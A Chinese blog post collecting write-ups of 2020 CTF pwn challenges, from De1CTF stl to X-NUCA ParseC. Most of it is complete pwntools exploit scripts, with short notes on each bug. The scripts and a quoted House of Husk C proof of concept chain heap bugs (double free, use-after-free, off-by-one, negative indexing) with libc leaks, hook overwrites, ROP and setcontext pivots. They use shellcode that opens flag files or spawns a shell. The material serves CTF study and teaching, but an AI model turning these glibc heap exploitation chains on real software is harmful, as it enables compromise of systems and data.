Ctf
2 Nov 2020

2020年的Pwn签到题是什么样的

2020年的Pwn签到题是什么样的

记录一些签到题

De1ctf2020 stl

list vector queue stack

add delete show

每个只能创建两个

stack queue的delete是出栈出队

stack queue不能show

vector 
pwndbg> x/20gx 0x8000000+0x207058
 0x0000000008419e90 
    
queue
pwndbg> x/20gx 0x8000000+0x207060
 0x0000000008419eb0
    
stack
pwndbg> x/20gx 0x8000000+0x207068
0x000000000841a170


vector
pwndbg> x/20gx 0x0000000008419e90 -0x10
0x8419e80:   0x0000000000000000   0x0000000000000021
0x8419e90:   0x000000000841a490   0x000000000841a490
0x8419ea0:   0x000000000841a4a0   0x0000000000000061


add0
pwndbg> x/20gx 0x0000000008419e90 -0x10
0x8419e80:   0x0000000000000000   0x0000000000000021
0x8419e90:   0x000000000841a490   0x000000000841a498
0x8419ea0:   0x000000000841a4a0   0x0000000000000061


add1
pwndbg> x/20gx 0x0000000008419e90 -0x10
0x8419e80:   0x0000000000000000   0x0000000000000021
0x8419e90:   0x000000000841a490   0x000000000841a4a0
0x8419ea0:   0x000000000841a4a0   0x0000000000000061

 
delete0
pwndbg> x/20gx 0x0000000008419e90 -0x10
0x8419e80:   0x0000000000000000   0x0000000000000021
0x8419e90:   0x000000000841a490   0x000000000841a498

 
delete1
pwndbg> x/20gx 0x0000000008419e90 -0x10
0x8419e80:   0x0000000000000000   0x0000000000000021
0x8419e90:   0x000000000841a490    0x000000000841a498
0x8419ea0:   0x000000000841a4a0   0x0000000000000061
    


发现异常
再次delete0成功
pwndbg> x/20gx 0x0000000008419e90 -0x10
0x8419e80:   0x0000000000000000   0x0000000000000021
0x8419e90:   0x000000000841a490   0x000000000841a490
0x8419ea0:   0x000000000841a4a0   0x0000000000000061
    


double free
pwndbg> bin
tcachebins
0x20 [ 3]: 0x841a430 —▸ 0x841a470 —▸ 0x841a450 ◂— 0x0
0xa0 [ 3]: 0x841a5f0 ◂— 0x841a5f0

经典 double free

from pwn import *
#r = process('./stl_container')
libc = ELF('/libc-2.27.so')
def add(tp,data):
    r.recvuntil('>>')
    r.sendline(str(tp))
    r.recvuntil('>>')
    r.sendline('1')
    r.recvuntil('input data:')
    r.send(data)

def delete(tp,index):
    r.recvuntil('>>')
    r.sendline(str(tp))
    r.recvuntil('>>')
    r.sendline('2')
    r.recvuntil('index?')
    r.sendline(str(index))

def show(tp,index):
    r.recvuntil('>>')
    r.sendline(str(tp))
    r.recvuntil('>>')
    r.sendline('3')
    r.recvuntil('index?')
    r.sendline(str(index))

def pop(tp):
    r.recvuntil('>>')
    r.sendline(str(tp))
    r.recvuntil('>>')
    r.sendline('2')

def add_list(data):
    add(1,data)
def delete_list(index):
    delete(1,index)
def show_list(index):
    show(1,index)

def add_vector(data):
    add(2,data)
def delete_vector(index):
    delete(2,index)
def show_vector(index):
    show(2,index)

def add_queue(data):
    add(3,data)
def pop_queue():
    pop(3)

def add_stack(data):
    add(4,data)
def pop_stack():
    pop(4)

def fuck_addr(addr):
    return addr-0x8408000

add_list('bbbb')
add_list('cccc')

add_stack('dddd')
add_stack('eeee')
add_queue('ffff')
add_queue('gggg')

add_vector('a')
add_vector('a')

pop_stack()
pop_stack()
pop_queue()
pop_queue()

delete_vector(0)
delete_vector(1)
show_vector(0)
r.recvuntil('data:')
leak = u64(r.recvline().strip().ljust(8,'\x00'))
log.info(hex(leak))
heap_base = leak-0x841a870+0x8408000
#heap_base = 0x8408000
log.success(hex(heap_base))
delete_vector(0)#uaf
#0x461

add_vector(p64(heap_base+fuck_addr(0x841a540)))

add_vector(p64(0)+p64(0x461))

delete_list(0)

delete_list(1)
add_list('cccc')
show_list(0)
r.recvuntil('data:')
leak = u64(r.recvline().strip().ljust(8,'\x00'))
libc_base = leak - 0x10-libc.sym['__malloc_hook']-96
malloc_hook = libc_base+libc.sym['__malloc_hook']
log.success(hex(libc_base))
log.success(hex(malloc_hook))
one = libc_base+0x4f322
add_queue(p64(malloc_hook)+'x'*8)
delete_list(0)
pop_queue()
pause()
add_stack(p64(malloc_hook))
pause()
add_stack(p64(one))

r.interactive()

网鼎杯 boom1

题目为一个c语言解释器

可以调用一些函数,但是有限制

全局变量qword_206010,初始为1,调用函数后-1,不等于1不能调用,所以只能调用一次函数

在这里我们也可以看出允许调用哪些函数

只调用一次函数肯定无法getshell,所以最重要的就是实现多次函数调用,也就是要修改全局变量qword_206010

解释器允许我们打印变量地址,跟进变量地址发现,通过变量地址做偏移可以拿到栈指针

有了栈指针,我们就可以泄露栈上的数据,通过栈上的数据可以泄露出程序基址,有了基址就可以确定全局变量qword_206010的地址,使qword_206010可控,每次调用函数后把它再改回1就可以实现多次调用

同时我们也可以确定got表的地址,通过泄露got表,拿到libc基址

有了libc基址,我们可以确定free_hook,one_gadget地址

将one_gadget写入free_hook,调用free,即可getshell

from pwn import *
r = process('./pwn')
payload = '''
int main(){
int *a;
int *cnt;
int addr;
int libc_base;
int *leak;
int *free_hook_ptr;
char *p;
a=*(&a+3);
addr=*(a-5);
cnt=addr+0x2055a7;
leak=addr+0x20550f;
libc_base=*leak-0x6f690;
free_hook_ptr=libc_base+0x3c67a8;
*(free_hook_ptr)=libc_base+0x4526a;
*cnt=1;
p=malloc(0x60);
*cnt=1;
free(p);}
'''
r.recvuntil("I'm living...")
pause()
r.sendline(payload)

r.interactive()

RCTF2020 note

存在非预期,index没验下界,可以输入负数,-5可泄露程序基址、堆地址、libc地址,edit -5可以改chunk_store,直接改成freehook然后edit写onegadget

show edit edit free 彳亍

预期解是tcache stashing unlink,但是👴懒得看

from pwn import *

#r = process('./note')

def menu(choice):
    r.recvuntil('Choice:')
    r.sendline(str(choice))

def add(index,size):
    menu(1)
    r.recvuntil('Index: ')
    r.sendline(str(index))
    r.recvuntil('Size: ')
    r.sendline(str(size))

def delete(index):
    menu(2)
    r.recvuntil('Index: ')
    r.sendline(str(index))

def show(index):
    menu(3)
    r.recvuntil('Index: ')
    r.sendline(str(index))

def edit(index,message):
    menu(4)
    r.recvuntil('Index: ')
    r.sendline(str(index))
    r.recvuntil('Message:')
    r.sendline(message)


def gift(index,message):
    menu(7)
    r.recvuntil('Index: ')
    r.sendline(str(index))
    r.recvuntil('Message:')
    r.sendline(message)
#x/64gx 0x555555554000+0x4080


#context.log_level='debug'
libc=ELF('./libc.so.6')
add(0,0)
show(-5)
leak= r.recvuntil('==========',drop=True)
print(leak.encode('hex'))
base = u64(leak[:8])-0x4008
log.success('base = '+hex(base))
stdout = u64(leak[24:32])
#log.success('stdout = '+hex(stdout))
stdin = u64(leak[40:48])
#log.success('stdin = '+hex(stdin))
stderr = u64(leak[56:64])
#log.success('stderr = '+hex(stderr))
heap_base = u64(leak[120:128])-0x260
log.success('heap_base = '+hex(heap_base))

libc_base = stdout -libc.sym['_IO_2_1_stdout_']
log.success('libc_base = '+hex(libc_base))
payload = leak[:8]+p64(0xffffffff)+p64(0xff)
payload += p64(stdout)+p64(0)
payload += p64(stdin)+p64(0)
payload += p64(stderr)+p64(0)
payload += p64(0)*6
payload += p64(libc_base+libc.sym['__free_hook'])+p64(0xff)+p64(0xff)
edit(-5,payload)
one = libc_base+0xe2383
edit(0,p64(one))
free(0)
#-5 -21 -27 -33
r.interactive()

RCTF2020 bf

bf 解释器

经典指针瞎几把☞

from pwn import *
#r = process('./bf')
elf = ELF('./bf')
libc = ELF('./libc.so.6')

payload  = '+++++ +++++ [->++ +++++ +++<] >++++ +++++ +++++ +++++ .<+++ +[->- ---<]>---. <+++[ ->+++ <]>+. -.--- ----- -.<'
r.recvuntil('enter your code:')
r.sendline('+[>+++++++++].,')
r.recvuntil('running....\n')
low = r.recv(1)
print(ord(low))
r.send(chr(ord(low)-5+0x10+0x8))#f8

r.recvuntil('done! your code: ')

canary = u64(r.recv(8))
log.success(hex(canary))

stack = u64(r.recv(8).strip().ljust(8,'\x00'))
log.success(hex(stack))

r.send('y')
r.sendline('+[>+].,'+'a'*0x10)
r.send(chr(ord(low)-5+0x10+0x8+0x7))#ff
r.recvuntil('aaaaaaaaaaaaaaaa')
leak_base = u64(r.recv(8)[1:].strip().ljust(8,'\x00'))
base = leak_base-0x4980
log.success(hex(base))
main = base+0x1684
r.send('y')
r.sendline('+[>+-]')

r.send('y')
r.sendline('+[>--]')
r.send('y')
r.sendline('+[>-]')
r.send('y')
r.sendline('+[>-]')


fuck = base+0x19DD
main = base+0x1684
start = base+0x1420

puts_plt = base+elf.plt['puts']
puts_got = base+elf.got['puts']
read_plt = base+elf.plt['read']
write_plt = base+elf.plt['write']
pop_rsi_r15 = base+0x49e1
pop_rdi = base+0x49e3 
pop3_ret = base+0x416f
fuck_rdx = base+0x21a6
#break *(0x21a6+0x555555554000)
#0x00000000000021a6 : mov rdx, qword ptr [rbp - 0x10] ; mov qword ptr [rax], rdx ; nop ; pop rbp ; ret


log.info(hex(fuck))
r.send('y')
payload = p64(canary)+p64(stack)+p64(0)+p64(0)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)

payload += p64(pop3_ret)+p64(stack-96+0x10)*3
payload += p64(fuck_rdx)+p64(0)
payload += p64(pop_rdi)+p64(0)+p64(pop_rsi_r15)+p64(stack-96)+p64(0)+p64(read_plt)
payload += p64(0x400)

r.sendline(payload)


r.send('y')
r.sendline(p64(canary)+'+[>'+'-'*11+']')

r.send('y')
r.sendline('+[>'+'-'*5+']')

r.send('y')
r.sendline('+[>'+'-'*3+']')
r.send('y')
r.sendline('+[>'+'-'+']')
r.send('y')
r.sendline('+'*0xe+'\x00')
#gdb.attach(r)
r.send('n')
r.recvuntil('++++++++++++++\x00\nwant to continue?\n')
libc_base = u64(r.recv(6).ljust(8,'\x00'))-libc.sym['puts']
log.success(hex(libc_base))

open_addr = libc_base + libc.sym['open']
pop_rdx = libc_base+0x1b96
pop_rsi = libc_base+0x23e6a

bss=base+elf.bss()+0x50
payload = p64(pop_rdi)+p64(0)+p64(pop_rsi)+p64(bss)+p64(pop_rdx)+p64(0x60)+p64(read_plt)
payload += p64(pop_rdi)+p64(bss)+p64(pop_rsi)+p64(0)+p64(open_addr)+p64(pop_rdi)
payload += p64(3)+p64(pop_rsi)+p64(bss)+p64(pop_rdx)+p64(0x60)+p64(read_plt)
payload += p64(pop_rdi)+p64(1)+p64(pop_rsi)+p64(bss)+p64(pop_rdx)+p64(0x60)+p64(write_plt)
r.sendline(payload)
r.sendline('./flag\x00')
r.interactive()

sctf2020 coolcode

没开NX,一堆RWX段,明示shellcode

有沙箱,禁用open,需要利用retfq切换到32位

add index为有符号数,可以输入负数越界覆盖计数和got表

add中输入message有check,先向栈中写入,check后再通过strncpy拷贝到堆中,check不过直接exitcheck中检测的字节数是输入字节数-1,输入的最后一字节不需要check,可以申请到-22,覆盖exit_got,chunk中写一个\xc3,执行exit就会直接ret,绕过check

此时shellcode仍然有限制,由于使用strncpy,shellcode中不能有\x00打印chunk数据时调用了write,覆盖write_got,rsi已经布置好,可以很方便的通过shellcode执行read系统调用,向chunk中写入任意数据

提前覆盖free_got,通过执行write_got指向的shellcode覆盖free_got指向的chunk中的shellcode,可以任意写入shellcode

free_got指向的shellcode中两次read系统调用分别写入32位open和一个64位readwrite的shellcode,然后retfq,跳到32位open的shellcode

open执行完后跳回64位,执行readwrite,得到flag

from pwn import *
#r = process('./coolcode')
def add(index,mes):
	r.recvuntil(' Your choice :')
	r.sendline('1')
	r.recvuntil('Index:')
	r.sendline(str(index))
	r.recvuntil('messages:')
	r.send(mes)

def show(index):
	r.recvuntil(' Your choice :')
	r.sendline('2')
	r.recvuntil('Index:')
	r.sendline(str(index))

def delete(index):
	r.recvuntil(' Your choice :')
	r.sendline('3')
	r.recvuntil('Index:')
	r.sendline(str(index))

def shell64(shellcode):
	shell_asm = asm(shellcode,arch='amd64')
	print(shell_asm.encode('hex'))
	return shell_asm
def shell32(shellcode):
	shell_asm = asm(shellcode,arch='i386')
	print(shell_asm.encode('hex'))
	return shell_asm


add(-22,'\xc3')#exit_got
shellcode_64_free_read = '''
mov rsi,rdi
mov rdx,rdi
xor rdi,rdi
xor rax,rax
syscall
ret
'''
add(0,'1'*8)#overflow
add(-3,'1'*8)#clean cnt
add(-37,shell64(shellcode_64_free_read))#free_got 0x6039c0
shellcode_64_write_read = '''
dec rdi
mov rdx,rsi
mov rax,rdi
syscall
ret
'''
add(-3,'1'*8)#clean cnt
add(1,'1'*8)#padding
add(-3,'1'*8)#clean cnt
add(1,'1'*8)#padding
add(-3,'1'*8)#clean cnt
add(-34,shell64(shellcode_64_write_read))#write_got

show(0)
shellcode_64_free_read = '''
xor rdi,rdi
xor rax,rax
mov rsi,0x602300
mov rdx,0x200
syscall
xor rdi,rdi
xor rax,rax
mov rsi,0x602400
mov rdx,0x200
syscall
push 0x23
push 0x602308
retfq
'''
payload = 'a'*0x20+p64(0)+p64(0x31)+'a'*0x20+p64(0)+p64(0x31)+shell64(shellcode_64_free_read)
r.sendline(payload)

delete(2)
pause()
flag = 'flag\x00\x00\x00\x00'
binsh = '/bin/sh\x00'

open_32 = '''
xor eax,eax
mov eax,0x5
mov ebx,0x602300
xor ecx,ecx
int 0x80
jmp 0x33:0x602400
ret
'''

read_64 = '''
mov rdi,3
mov rsi,0x602500
mov rdx,0x50
xor rax,rax
syscall
mov rdi,1
mov rsi,0x602500
mov rdx,0x50
mov rax,1
syscall
ret
'''
r.sendline(flag+shell32(open_32)+'\x00')
r.sendline(shell64(read_64)+'\x00')

r.interactive()

snake

死了之后留言,开始留言的位置由蛇死的位置决定,死在右下角index最大,此时留言可以覆盖到下一个chunk的size

蛇开局右上角一路向下,按s等死就行蛇死了之后有一堆对name的操作,getname把一个指针赋给buf,存在uaf,游戏中打印playername可以leak

留言覆盖size,伪造出unsorted bin,同时造成overlapping,利用getname泄露libc。

利用overlapping修改一个chunk size,然后覆盖fd,fastbin attack打malloc_hook

from pwn import *
#r = process('./snake')
elf = ELF('./snake')
libc = ELF('/libc-2.23.so')
def init_name(size,name):
	r.recvuntil('how long?')
	r.sendline(str(size))
	r.recvuntil('input name')
	r.sendline(name)


def menu(x):
	r.recvuntil('4.start name')
	r.sendline(str(x))


def add_name(index,size,name):
	menu(1)
	r.recvuntil('index?')
	r.sendline(str(index))
	r.recvuntil('how long?')
	r.sendline(str(size))
	r.recvuntil('name?')
	r.sendline(name)


def delete(index):
	menu(2)
	r.recvuntil('index?')
	r.sendline(str(index))


def get_name(index):
	menu(3)
	r.recvuntil('index?')
	r.sendline(str(index))


def start():
	menu(4)


def leave(word):
	r.recvuntil('words:')
	r.send(word)
	r.recvuntil('exit?')
	r.sendline('n')


def white_give():
	for i in range(0x23):
		r.send('s')
pause()
context.log_level = 'debug'
init_name(0x20,'aaaa')

r.sendline('')
white_give()

leave('aaaa')
add_name(1,0x20,'aaaa')
add_name(2,0x50,'aaaa')
add_name(3,0x20,'aaaa')
add_name(4,0x20,'aaaa')
add_name(5,0x20,'aaaa')
add_name(6,0x20,'aaaa')
add_name(7,0x20,'aaaa')
add_name(7,0x20,'aaaa')
add_name(7,0x20,'aaaa')
add_name(7,0x20,'aaaa')
add_name(7,0x20,'aaaa')
add_name(7,0x20,'aaaa')
add_name(7,0x20,'aaaa')
add_name(7,0x20,'aaaa')
add_name(7,0x20,'aaaa')

delete(5)
delete(6)
get_name(5)
start()
r.recvuntil('player name:')
leak = u64(r.recvuntil('\t',drop=True).strip(' ').ljust(8,'\x00'))
log.success(hex(leak))
white_give()
leave('1'*0x4c+'\xf1')
delete(0)
add_name(7,0x20,'aaaa')
add_name(7,0x20,'aaaa')
add_name(8,0x20,'aaaa')

get_name(1)
start()
r.recvuntil('player name:')
leak = u64(r.recvuntil('\t',drop=True).strip(' ').ljust(8,'\x00'))
libc_base = leak - 0x10-libc.sym['__malloc_hook']-0x58
white_give()
malloc_hook = libc_base + libc.sym['__malloc_hook']
one = libc_base+ 0xf1147

leave('a')

add_name(7,0x40,'a'*0x20+p64(0)+p64(0x71))
add_name(9,0x60,(p64(0)+p64(0x21))*6)

delete(2)
delete(7)
add_name(7,0x40,'a'*0x20+p64(0)+p64(0x71)+p64(malloc_hook-0x13))

add_name(9,0x68,'a'*0x3+p64(one))
add_name(9,0x68,'a'*0x3+p64(one))

log.success(hex(libc_base))
log.success(malloc_hook)
log.success(hex(libc_base))

r.interactive()

CCISC2020 华东北Pwn4

merge 处使用了 strcpy 和 strcat,合并时会连着下一个chunk的size一起strcpy,配合strcat可以off-by-one,修改一个chunksize,造成heap overlaping

利用 merge 拿到大chunk,free 得到unsorted bin,泄露libc

开了沙箱,可以利用setcontext执行shellcode,orw拿flag,参考这篇博客

  1. setcontext+53写入__free_hook__free_hook+0x8写入一个__free_hook+0x10,后面写read;jmp rsishellcode

  2. 构造frame,rip设置成mprotect,准备将__free_hook&0xfffffffffffff000之后的连续0x1000区域权限设置成7。找一个堆块存放frame

    frame = SigreturnFrame()
    frame.rip = 0 // setcontext之后执行的值
    frame.rdi = 0
    frame.rsi = 0
    frame.rdx = 0 // 3个参数
    frame.rsp = 0 // rip执行完之后执行的值
    frame.rax = 0
    
  3. 释放存放framechunk,此时执行到read

  4. 将事先准备好的getflagshellcode发送到服务器,即执行shellcode,得到flag。

from pwn import *

#r = process('./pwn')
def menu(choice):
    r.recvuntil('>>>')
    r.sendline(str(choice))

def add(size,content):
    menu(1)
    r.recvuntil('size:')
    r.sendline(str(size))
    r.recvuntil('content')
    r.send(content)

def delete(index):
    menu(2)
    r.recvuntil('index:')
    r.sendline(str(index))

def view(index):
    menu(3)
    r.recvuntil('index:')
    r.sendline(str(index))

def edit(index,content):
    menu(4)
    r.recvuntil('index:')
    r.sendline(str(index))
    r.recvuntil('content')
    r.send(content)

def merge(index1,index2,index3):
    menu(5)
    r.recvuntil('src index 1:')
    r.sendline(str(index1))
    r.recvuntil('src index 2:')
    r.sendline(str(index2))
    r.recvuntil('dst index:')
    r.sendline(str(index3))



add(0x100,'a')
merge(0,0,1)
merge(1,1,2)
merge(2,2,3)
delete(3)
add(0x20,'a')#8
edit(3,'a'*8)
view(3)
r.recvuntil('a'*8)
leak = u64(r.recvuntil('\n',drop=True).ljust(8,'\x00'))
libc_base = leak - 0x3ec190
free_hook = libc_base + 0x3ed8e8
log.success(hex(libc_base))
log.success(hex(free_hook))
add(0x80,'aaaa')#4
add(0x28,'a'*0x28)#5
add(0x60,'b'*0x5f+'\xa1/')#6
add(0x28,'a'*0x28)#7
delete(4)
merge(5,6,8)
delete(8)
delete(6)

add(0x90,p64(0)*3+p64(0x31)+p64(0)*5+p64(0x21)+p64(0)*3+p64(0x71)+p64(free_hook))#7

setcontext = libc_base+0x52110

newexe = free_hook & 0xfffffffffffff000
context.arch = 'amd64'
shell1 = '''
xor rdi,rdi
mov rsi,%d
mov edx,0x1000

mov eax,0
syscall

jmp rsi
''' % newexe
payload = p64(setcontext+53) + p64(free_hook+0x18)*2 + asm(shell1)
add(0x60,'aaaa')
add(0x60,payload)

mprotect = libc_base+1162240
log.success(hex(mprotect))
frame = SigreturnFrame()
frame.rsp = free_hook+0x10
frame.rdi = newexe
frame.rsi = 0x1000
frame.rdx = 4 | 2 | 1
frame.rip = mprotect
print(len(frame))



flag = '/flag\x00\x00\x00'
shell2 = '''
mov rax,%s
push rax

mov rdi,0
mov rsi,rsp
mov rdx,0
mov rax,257
syscall

mov rdi,rax
mov rsi,rsp
mov rdx,1024
mov rax,0
syscall

mov rdi,1
mov rsi,rsp
mov rdx,rax
mov rax,1
syscall

mov rdi,0
mov rax,60
syscall
''' % hex(u64(flag))

add(0x100,str(frame))

delete(9)
pause()

r.sendline(asm(shell2))
r.interactive()

CCISC2020 华东北Pwn5

uaf,可申请较大size,显然是裸的house of husk,直接照着poc改就行了,龙鸣,👴直接一血

有的队伍卡到 libc 了,👴直接盲猜,阴间见得多了就成阳间了。

poc

/**
* This is a Proof-of-Concept for House of Husk
* This PoC is supposed to be run with libc-2.27.
*/
#include <stdio.h>
#include <stdlib.h>
#define offset2size(ofs) ((ofs) * 2 - 0x10)
#define MAIN_ARENA       0x3ebc40
#define MAIN_ARENA_DELTA 0x60
#define GLOBAL_MAX_FAST  0x3ed940
#define PRINTF_FUNCTABLE 0x3f0658
#define PRINTF_ARGINFO   0x3ec870
#define ONE_GADGET       0x10a38c
int main (void)
{
    unsigned long libc_base;
    char *a[10];
    setbuf(stdout, NULL); // make printf quiet
    /* leak libc */
    a[0] = malloc(0x500); /* UAF chunk */
    a[1] = malloc(offset2size(PRINTF_FUNCTABLE - MAIN_ARENA));
    printf("%p\n",offset2size(PRINTF_FUNCTABLE - MAIN_ARENA) );
    printf("%p\n",offset2size(PRINTF_ARGINFO - MAIN_ARENA) );
    a[2] = malloc(offset2size(PRINTF_ARGINFO - MAIN_ARENA));
    a[3] = malloc(0x500); /* avoid consolidation */
    free(a[0]);
    libc_base = *(unsigned long*)a[0] - MAIN_ARENA - MAIN_ARENA_DELTA;
    printf("libc @ 0x%lx\n", libc_base);
    /* prepare fake printf arginfo table */
    *(unsigned long*)(a[2] + ('X' - 2) * 8) = libc_base + ONE_GADGET;
    /* unsorted bin attack */
    *(unsigned long*)(a[0] + 8) = libc_base + GLOBAL_MAX_FAST - 0x10;
    a[0] = malloc(0x500); /* overwrite global_max_fast */
    /* overwrite __printf_arginfo_table and __printf_function_table */
    free(a[1]);
    free(a[2]);
    /* ignite! */
    printf("%X", 0);
    
    return 0;
}

exp

  1. 泄露 libc 地址
  2. unsortedbin attack 把 global_max_fast 变大
  3. 用相对覆写把 fake arginfo table 地址写到 __printf_arginfo_table
  4. 用相对覆写把 __printf_function_table 写为 NULL
  5. 调用带格式化字符串的 printf
from pwn import *
#r = process('./pwn')

def menu(choice):
	r.recvuntil('Your choice:')
	r.sendline(str(choice))


def add(index,size):
	menu(1)
	r.recvuntil('Index:')
	r.sendline(str(index))
	r.recvuntil('Size:')
	r.sendline(str(size))

def edit(index,data):
	menu(2)
	r.recvuntil('Index:')
	r.sendline(str(index))
	r.recvuntil('Content:')
	r.sendline(data)

def show(index):
	menu(3)
	r.recvuntil('Index:')
	r.sendline(str(index))

def delete(index):
	menu(4)
	r.recvuntil('Index:')
	r.sendline(str(index))	

def leave():
	menu(5)

def name(name):
	r.recvuntil('name:')
	r.sendline(name)


name('%X')
add(0,0x500)
add(1,0x9420)
add(2,0x1850)
add(3,0x500)
delete(0)
show(0)
r.recvuntil('Content: ')
leak = u64(r.recvuntil('\n',drop=True).ljust(8,'\x00'))
libc_base = leak-0x3ebca0
one = libc_base + 0x10a45c
#*(unsigned long*)(a[2] + ('X' - 2) * 8) = libc_base + ONE_GADGET;
edit(2,'\x00'*((ord('X') - 2) * 8)+p64(one))
global_max_fast = libc_base + 0x3ed940
edit(0,p64(leak)+p64(global_max_fast-0x10))
add(4,0x500)
delete(1)
delete(2)
#leave()
r.interactive()

ByteCTF2020 gun

shoot 链表没清零,存在uaf,可以leak,也可以double free。glibc2.31,tcache不能直接 double free,需要先填满然后进 fastbin,再取出来进行 tcache attack开了沙箱,orw。

可以利用setcontext。在glibc2.31中选择setcontext+61,需要进行栈迁移,把栈迁移到堆上

做的时候直接照着这篇博客改的

用了这个gadget

mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20];

gadget写入freehook,rop链等数据在堆上布置好后,执行free可以触发

from pwn import *
def debug():
    print pidof(r)
    pause()

def send_name(name):
    r.recvuntil("name: ")
    r.sendline(name)

def shoot(times):
    r.recvuntil("Action>")
    r.sendline("1")
    r.recvuntil("time:")
    r.sendline(str(times))


def load(idx):
    r.recvuntil("Action>")
    r.sendline("2")
    r.recvuntil("load?")
    r.sendline(str(idx))


def buy(size, content):
    r.recvuntil("Action>")
    r.sendline("3")
    r.recvuntil("price")
    r.sendline(str(size))
    r.recvuntil("Name")
    r.send(content)


#r = process("./gun", level="info", aslr=False)


send_name("A" * 0x18)
buy(0x409, "FOR_LEAK_USE\n")
buy(0x10, "NO_CONSOLIDATE\n")
load(0)
shoot(1)
buy(0x10, "\n")
load(1)
load(0)
shoot(2)




r.recvuntil("The ")
#leak = u64(r.recvuntil("\x15") + "\x00\x00")
leak = u64(r.recvuntil("\x7f") + "\x00\x00")
libc_base = leak - 0x1ebbe0 - 0x3f0


print hex(libc_base)
buy(0x60, "fastbin\n")#0
buy(0x60, "fastbin\n")#1
buy(0x60, "fastbin\n")#2
buy(0x60, "fastbin\n")#3
buy(0x60, "fastbin\n")#4
buy(0x60, "fastbin\n")#5
buy(0x60, "fastbin\n")#6
buy(0x60, "fastbin\n")#7
buy(0x60, "fastbin\n")#8
buy(0x60, "fastbin\n")#9
buy(0x60, "fastbin\n")#10
load(0)
load(1)
load(2)
load(3)
load(4)
load(5)
load(6)
load(7)
load(8)
shoot(9)
buy(0x60, "fastbin\n")#0
load(0)
load(9)
shoot(2)
load(10)
shoot(2)


r.recvuntil('Pwn! The fastbin bullet fired.')
r.recvuntil('Pwn! The ')
heap_leak = u64(r.recvuntil(' bullet fired.',True).ljust(8,'\x00'))


heap_base = heap_leak+0x555555559000-0x5555555592e0
log.success(hex(heap_base))
libc = ELF('./libc-2.31.so')
free_hook = libc_base+libc.sym['__free_hook']
environ = libc_base+libc.sym['environ']
setcontext = libc_base+libc.sym['setcontext']
buy(0x60, "free_hook\n")
buy(0x60, "free_hook\n")
buy(0x60, "free_hook\n")
buy(0x60, "free_hook\n")
buy(0x60, "free_hook\n")
buy(0x60, "free_hook\n")
buy(0x60, "free_hook\n")
buy(0x60, p64(free_hook)+'\n')
buy(0x60, p64(free_hook)+'\n')
buy(0x60, p64(free_hook)+'\n')




libc.address = libc_base
context.arch = 'amd64'




p_rdi_r = 0x0000000000026b72 + libc.address
p_rsi_r = 0x0000000000027529 + libc.address
p_rax_r = 0x000000000004a550 + libc.address
p_rdx_r12_r = 0x000000000011c371 + libc.address
syscall = 0x000000000002584d + libc.address
ret = 0x0000000000025679 + libc.address


magic = 0x154930+libc_base
buy(0x60,p64(magic)+'\n')#10
buy(0x100, "/flag\x00\n")#11


flag_str_address = heap_base - 0x555555559000+0x5555555597e0+0x10
flag_w_address = heap_base - 0x555555559000+0x5555555597e0+0x10
orw_address = heap_base - 0x555555559000+0x555555559a10+0x10
frame_address = heap_base - 0x555555559000+0x5555555598f0+0x10+0x10
log.info(hex(frame_address))


orw = flat([
    p_rdi_r, flag_str_address,
    p_rsi_r, 0,
    libc.sym['open'],
    p_rdi_r, 3,
    p_rsi_r, flag_w_address,
    p_rdx_r12_r, 0x40, 0,
    libc.sym['read'],
    p_rdi_r, 1,
    p_rsi_r, flag_w_address,
    p_rdx_r12_r, 0x40, 0,
    libc.sym['write']
])


payload = p64(0) + p64(frame_address)
payload += p64(0)*4 + p64(setcontext+61)
payload += b"\x00"*(0xa0-0x28) + p64(orw_address) + p64(ret)
buy(0x110,payload+'\n')#12


buy(0x120, orw+'\n')#13
load(12)
log.success(hex(magic))
r.interactive()

X-NUCA2020-ParseC

c 语言写的解释器,考虑到出题人大概率不会为了出题专门写个解释器,所以猜测源码是拽别人的,找一行代码去 GitHub 搜一波,找到原项目,彳亍

https://github.com/yunwei37/tryC

那必是塞洞,和题目文件 diff,发现多了字符串类型,测试发现字符串存在 uaf,彳亍。

通过一个 unsorted bin 的 uaf 可以轻松泄露 libc 基址。

交互时的输入的数据经过 atof 处理后储存,且 read 不能对字符串进行操作。

考虑精心构造堆布局,在输入的 code 文件中,利用 double free 覆盖 free chunk 的 fd 的一字节,打乱正常的堆布局,同时也可以修改 chunk size,造成堆块重叠。

控制 fd 指向 freehook 和向 freehook 写入数据只能通过交互完成,由于 read 只能对浮点数操作,所以需要使用堆块重叠和错位,使一个大小为 0x50 的 free chunk 的 fd 刚好为一个 浮点数组储存浮点数的位置。

输入浮点数,atof 可以处理科学记数法,所以可以通过科学计数法写入任意值,这里用 js 脚本处理,手动输入。

class Memory{
    constructor(){
        this.buf = new ArrayBuffer(8);
        this.u32 = new Uint32Array(this.buf);
        this.f64 = new Float64Array(this.buf);
    }
    u2f(val){
        let tmp = [];
        tmp[0] = parseInt(val % 0x100000000);
        tmp[1] = parseInt((val - tmp[0]) / 0x100000000);
        this.u32.set(tmp);
        return this.f64[0];
    }
    f2u(val){
        this.f64[0] = val;
        let tmp = Array.from(this.u32);
        return tmp[0] + tmp[1] * 0x100000000;
    }
}
mem = new Memory();

console.log(mem.u2f(0x7f9d01b288c0))

两次 read,写入 freehook 地址 和 system 地址,然后 free 一个 /bin/sh 字符串

远程和本地的堆在地址上相差 0x10,本地打通后修改覆盖值即可。

本地exp

puts("AAAA");
